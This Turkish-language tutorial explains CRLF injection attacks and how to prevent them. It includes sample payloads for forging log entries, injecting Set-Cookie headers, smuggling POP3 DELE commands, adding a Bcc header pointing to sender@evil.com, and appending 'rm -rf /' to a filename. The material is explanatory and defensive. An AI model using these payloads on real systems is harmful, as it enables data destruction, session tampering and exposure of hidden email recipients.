CRLF Injection Attack !

[Admin]

Bu makalede, pek bilinmeyen bir enjeksiyon türü olan CRLF Injection`dan bahsedeceğiz...

<DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 8pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: #ebebeb 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid #EBEBEB .75pt">

CRLF Injection Attack

CRLF enjeksiyon atakları diğer ataklar gibi çok iyi bilinmz. Fakat vulnerable uygulamalarına karşı kullanıldığında, CRLF enjeksiyon sadece saldırganlar için işe yarar ve (senin için) yakıp yıkıcıdır. Bu uygulamalar ile nasıl saldırı yapıldığını ve organizasyonları korumak için ne yapabileceğimize bir bakalım:
<DIV style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 7pt; BORDER-LEFT: medium none; PADDING-TOP: 0cm; BORDER-BOTTOM: #ebebeb 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid #EBEBEB .75pt">

CRLF injection Nedir?

CRLF terimi carriage return ( taşıma dönüşü) (CR, ASCII 13, \\\\\\r) ) Line Feed (satır ilerleme) (LF, ASCII 10, \\\\\\n) için bulunur. Bunlar ekranda hiçbirşeyin görünmediği ASCII karakterleridir. Fakat windowsta line (çizgi) sonunu göstermek için geniş kullanım alanı vardır.Linux/UNIX sistemlerde line sonu, sadece line feed kullanımı yoluyla gösterilir.

CR ve LR’nin bu kombinasyonu örneğin keybordda “enter”a basarken kullanılır. Uygulamanın kullanımına bağlı olarak “enter ”a basmak genelde uygulamaya yeni bir line açması için talimat verir veya komut gönderir.

CRLF Injection saldırısı, hacker sisteme CRLF komutu sokmayı başardığı zaman ortaya çıkar. Bu çeşt bir saldırı operating sistemde ya da serversoftware’de teknolojik bir güvenlik açığı değildir. Fakat daha çok web sitesinin geliştirilme şekline bağlıdır. Bazı webmasterlar bu saldırılardan habersizdirler ve web uygulamaları yaparken açık kapılar bırakırlar ki, bunlar hackerın CRLF komutlarıenjekte etmesine olanak verir

Siteniz zayıfsa hacker ne yapabilir?

Hackerlar CRLF Injection için açık bir website bulsalar bile uygulama yapıları yapmada ve sistemde kusurun ne kadar şiddetli olduğu konusunda sınırlıdırlar.

Bazı websayfası çeşitlerinde, bu kusur sayfanın güvenliği için öldürüceü olabilir. Diğer durumlarda, bu en küçük öncelik ile sadece küçük bir hata olabilir. Bu, kusurun kulIanıcıya web uygulamalarını maipule edip etmemesine izin vermesine bağlıdır.

CRLF Injection attack için örnek 1

Uygunca onaylanmamışsa herhangi bir “user input” güvenlik konusu olabilir.

Örnek bir basic (temel) log file:

Date


UserName


Message

25/07/2005-14:23:47


GoodSurfer


I perfectly agree!

Bu og file çok normal, bununla birlikte eğer kullanıcı şöyle bir input girdiyse:

I also agree with you..\\\\\\n25/07/2005-15:00:00 AnotherSurfer What are you talking about!?

log file şöyle görünür:

Date


UserName


Message

25/07/2005-14:23:47


GoodSurfer


I perfectly agree!

25/07/2005-14:42:19


BadSurfer


I also agree with you..

25/07/2005-15:00:00


AnotherSurfer


What are you talking about!?

Bu durumda, input CR ve LR karakterlerinden düzenli olarak filtrelenmeden önce, kullanıcı log file içinde fake bir giriş oluşturdu.

CRLF Injection Attack örnek 2

HTTP’yi de içeren birçok network protokolü, CRLF tarafından ayrılan bu protokol içindeki her çizgi komutların geniş bir carriage return ve line feed kombinasyonlarını yaparlar. Eğer bir kullanıcı filtrelenmemiş bir http header tanımlayabilirse, kullanıcının application layer’ı geçerek direkt olarak serverla bağlanmasını mümkün kılan bir risk ortaya çıkar.

Örneğin E-mail, News (NNTP), ve http headerları “key:value” yapısı üzerine kurulmuştur ve her line sonda bir CRLF kombinasyonuyla tanımlanmıştır. "Location:" headerı HTTP içinde diğer diğer adrese yönlendirmek için kullanılır ve “set-cookie” header cookieler için kullanılır.Eğer bu inputlar düzenli olarak geçerli kılınırsa, CR ve LF karakterleri user input içine sokulabilir, ve scriptler orjianal olarak yapıldıkları şeyden farklı farklı şeyler yapmaları için yanıltılabilir.

Eğer input CR ve LF için kontrol edilmemişse ve script string ile bir redirect (farklı bir adres yazma) oluşturursa:

Location: $url%0d%0a

$url ‘yi bir cookie ayarlarken ayarlarsak siteyi başka bir adrese yönlendirebiliriz (bir string olarak):

http://www.i-was-redirected.com/%0d%0aSet-Cookie: Authenticated=yes%0d%0aReferer: www.somesite.com

Eğer hacker diğer kullanıcının yönlendirileceği, önemli datayla cookileri içeren adresi save edebilirse bu çok ciddi olur.

CRLF vulnerabilities’i kontrol etme

Web siteniz ve ve uygulamalarlnızı CRLF açıklığı için kontrol etmenin en iyi yolu Web Vulnerability Scanner kullanmaktır. Bir Web Vulnerability Scanner web sitenizi yavaş yavaş yürütür ve otomatik olarak CRLf saldırıları için kontrol eder. Hangi URLs/script Zayıf gösterir ve kolayca kapatırsınız.

Acunetix Web Vulnerability Scanner , SQL injection, Cross site scripting, Google hacking ve daha birçok zayıflık için scan yapar.

CRLF attacklarını önleme

Sitenizi CRLF saldırılarına karşı korumanın en iyi yolu, onu kullanıcının girebilecek olduğu tüm inputlara karşı kapsamlı olarak filtrelemektir. Bilinen iyi data haricinde her şey silinmeli ve meta karakterleri user inputtan filtrelenmeli. Bu sadece girilmesi gerekenlerin servera kabul edilmesini sağlayacaktır.

Eğer siteniz saldırılara zayıfsa nasıl kontrol etmelisiniz?

Acunetix Web Vulnerability Scanner kullanan Acunetix elemanı tarafından kullanılan Security audit al.Acunetix sitenzi çeşitli hacking tekniklerine karşı (örneğin sql injection, cross site scripting, google hacking vb..) tarayacaktır (Bence bu program çok güzel işler yapmak için kullanılabilir.Bi ara msnden görüşelim bunla ilgili )Ve sitenizdeki açıkları listeleyecektir (işte en can alıcı nokta bu sanırım)) . Bu scan dan sonra eğer sitenizde açıklar varsa bunlarla ilgili bir özet alacaksınız. (ben bu programı çok sevdim.Bunu edinelim)

LOG FILES

Log dosyaları, LF, CRLF veya sadece CR tarafından ayrılan log girişlerinden oluşurlar. Eğer CR ve LF karakterleri her bir log girişini yapmaya yarayan inputtan silinmemişse log dosyasını line olarak değişmesini sağlayabiliriz ve daha sonra ilave ilave fake log girişi yapılabilir.

Örnek olarak, düşünelim ki date alanlı bir bir log dosyamız var. Bir kullanıcı alanı ve bir yorum alanı şöyle görünür:

2002-04-30 hans One log entry

2002-05-01 ulf Another log entry

Eğer data bu log file içinde perl statement (hesabı) tarafından doldurulursa :

print LOG "$date $user $comment\\\\\\n";

ve the $comment değişkeni CR ve LF karakterleri için kontrol edilmezse, bu ilave fake entry (giriş)i ekleyebiliriz:

2002-05-01 root This is serious!

$comment’e "Another log entry\\\\\\n2002-05-01 root This is serious!" değerini vererek. Aynı anda şu "Another log entry" yapıldı ve hatta program fake log entry yapar.



INTERNET PROTOKOLLERİ

İnternet üzerinde müşterinin her komuttan sonra servera gidecek olan bir CRLF kombinasyonu göndermesini tanımlayan birçok network protocolü kullanılır. Eğer CR ve LF karakterleri komutları birlikte tutmak için kullanılan inputtan silinmemişse, aynı anda birkaç komut gönderebiliriz.

POP3 protocol, mesajları geri almak için "RETR x" komutunu kullanır ve silmek için "DELE x" komutunu. Eğer bir müşteri programı bir mesajı geri almak için "RETR $msg\\\\\\015\\\\\\012"stringi ile komut üretirse , ve $msg stringi CR ve LF için kontrol edilmemişse, ikinci mesajı $msg değeri "1\\\\\\015\\\\\\012DELE 2" vererek silerken birinci mesajı okuyabiliriz.Bu servera aşağıdaki komutları gönderecektir:

RETR 1

DELE 2

NNTP protocol’ü mesajları geri almak için "ARTICLE x" ve postalamak için "POST" komutu kullanır. Eğer müşteri programı bir mesaj almak için "ARTICLE $id\\\\\\015\\\\\\012" stringi ile bir komut üretirse , ve $id string CR ve LF karakterleri için check (kontrol) edilmemişse bir mesajı sessizce gönderirken başka bir mesaj okuyabiliriz.

Bu durumların her ikisi de aşağıdaki yapıya sahiptirler: "<KEY><SEP><VAL><NL>",<KEY>’in "DELE" olabileceği yerde, <SEP> " " dir, <VAL> ‘"1" olabilir, ve <NL> CRLF’dir.Eğer <VAL> alanı user inputtan gelirse ve <KEY> içinde bulunan data çeşitlerini içerme izni olursa, hata meydana gelir.

MAIL, NEWS VE WEB HEADERS

E-mail headerları, news headerları ve HTTP headerlarının hepsi her bir line’ın CRLF tarafından ayrıldığı yerde "Key: Value" değerine sahiptirler.

HTTP, diğer URL’ye yönlendiren bir "Location:" headerı tanımlar ve cookieleri ayarlamak "Set-Cookie:" headerı tanımlar.CR ve LR karakterleri user inputa sokarak diğer siteye yönlenirken bir cookie ayarlayarak web cookieler yanıltılabilir. Eğer script "Location: $url\\\\\\015\\\\\\012" stringi ile bir yönlendirme yaparsa ve $url stringi CR ve LF karakterleri için kontrol edilmezse, cookie’yi $url değeri vererek başka bir siteye yönlendirebiliriz.

"http://www.kuro5hin.org/\\\\\\015\\\\\\012Set-Cookie: evil=natas".

Eğer cookie önemli datayı içerirse ve bir kullanıcı diğer kullanıcının yönlendirileceği URL’yi kaydederse, bu ciddi sonuçlar doğurablir.

Aynı tekniği kullanarak Using the same technique, bir e-mail sistemi adı bilinmeyen kişilerin kimliklerini ortaya çıkarabilir. Düşünelim ki kullanıcıların diğer kullanıcılara email gönderebilecekleri bir sistemimiz var fakat burada alıcıların gerçek email adresleri gizlidir.Eğer kendimize bir mail header verme iznimiz olursa "Subject:" header gibi, ve onlar CR ve LF karakterleri için kontrol edilmezse biz bir CRLF kombinasyonu içereiliriz ve sonra "Subject:" header içindeki email adresimizle beraber "Bcc:" alanı. Mesaj alıcılara gönderildiği anda sessiz bir şekilde bize de gönderilecektir, bununla birlikte alıcıların kimliklerini ortaya çıkaracaktır.

Bu durumlar yukarıda belirtildiği gibi "<KEY><SEP><VAL><NL>" yapısına da sahiptirler.<KEY> , "Subject" olabilir, <SEP> , ": " ‘dir, <VAL> , "CRLF Injection" olabilir, and <NL> , CRLF’dir.

Saldırganlar vulnerability için olan aramalarında CRLF yi kibarca kabul etmezler.

Bir CRLF dizini bir miktar veriye koyarak programın kabul ettiği veri ilk nasıl tutulduğunu değiştirmek için saldırgan bir CRLF enjeksiyonu çalıştırabilir.

Birçok basit CRLF atak örneklerinde log dosyalarına sahte girişler gerçekleşmektedir. Söyle söyleyebilirz, bir vulnerable uygulamasında bir kullanıcıdan girdisini almak ve onları log dosyalarınayazdırmak. Bir saldırgan aşağıdaki girdileri sağlar

Testing123<CR><LF>MYSQL DATABASE ERROR: TABLE CORRUPTION

Sysadmin sabah loglara baktığı zaman, kendini var olmayan bir problem için arıza tesbiti için zaman harcıyor olarak bulabilir. Kurnaz saldırganlar bu tarz trojen atlarını sistemin başka bir yerine saldırı yaparken adminin oyalamak için kullanırlar.

Bir uygulamanın kullanıcıdan dosyayı girdi olarak aldığını hayal et. Sonra bu dosyada

bir komutu çalıştırdığını "ls-a" gibi. Eğer uygulama CRLF enjeksiyon ile vulnerable ediliyorsa , bir saldırgan buna benzer bir girdi tedarik edecektir:

File.txt<CR><LF>rm -rf /

Vulnerable edilebilir uygulamalarda "ls –a File.txt" komutu çalışacaktır. Sonrada "rm –rf /." komutu çalışacaktır. Eğer uygulama root(köken) olarak çaışırsa, bu son komut olacaktır. Eğer hiç çalışmazsa , root taki tüm dosyalar gibi partitionlar(bölünme) silinecektir.

Bir webe dayalı imzasız e-mail sistemi kullanarak birilerinin email adreslerini ortayaçıkarmak içim CRLF enjeksiyon atağını kullandığını düşün. Bunun yolusistemin, göndericinin emaili diğer email adresleriyla, konusuyla ve kendi mesajlarıyla beraber bir formu doldurmayı desteklemesi gerekmektedir. Form web server vasıtasıyla teslim edildiği zaman, bir SMTF mailine çevrilir ve alıcıya gönderilir. Gönderici askla alıcının mail adresini görmez, mail adresini sadece server bilir.

Eğer bir uygulamada bir CRLF atak ile vulnerable edilmişse, emailin göndericisi alıcının gerçek ismini saklaması buna benzer bir konu satırı oluşturarak bozacaktır:

Subject: Peekaboo, I see you<CR><LF>Bcc: sender@evil.com

Eğer vulnerable uygulaması bu bilgiyi alırsa, ana başlığa bilinmeyen bir satır ekleycektir. Mesajın kör karbon bir kopyasını göndericinin email adresinde oluşturacaktır. Bu Kopyada "To" görülebilecektir. Böylecegöndericinin vasıtası le alıcının adresi ortaya çıkacaktır.

CRLF atakları içeren enjeksiyon atakları iyi programlama tekniklri kullanılarakönlenebilir. Uygulamalarını CRLF enjeksiyondan güvenle muhafaza etmek için diğer tarzdaki enjeksiyon ataklarından (SQL enjeksiyonu gibi) kaçınmak için gösterdiğimiz uyanıklığı burda da göstermelsin. Girdiye asla güvenme: Senin Kontrolünde mutlaka kontrol ettiği, herhangi bir girdi dıları kaynaklardan gelir ve herhangi bir karakter kabul edilebilir bir veri tipi ile programın onda çalışmadan önce uygun gelmez. Örneğin, eğer kabul dilebilir bir email konu satırı ise, verinin içindeki tüm karakterler harf, rakam ve noktalama işareti olacaktır. Eğer programın kabul edilebilir bir dosya ismi ise, verinin içindeki dosya ismi sadece karakter geçerli olacaktır.Programcı her iki örnklerde basitçe, CR ve LF karakterlerini süzgeçten geçirirse, atak başarısız olacaktır.

Kullanıcı girdisi kötü karakterlerin kaynağıdır. Fakat diğer senin yazmadığın programlardaki girdileri kotrol etmeyi unutma. Öyleyse, bir saldırgan vulnerable edilebilir bir programdan enjeksiyon atakalarından vazgeçirilebilir. Bu programda belli bir rutinle programcı verileri temizlememiştir. Çünkü bir kullanıcıdan direkt olarak gelmez. Herhangi bir veriyi memnuniyetle güvenilir bir kaynağa dayanmayacağını düşün ve güvende olacaksın.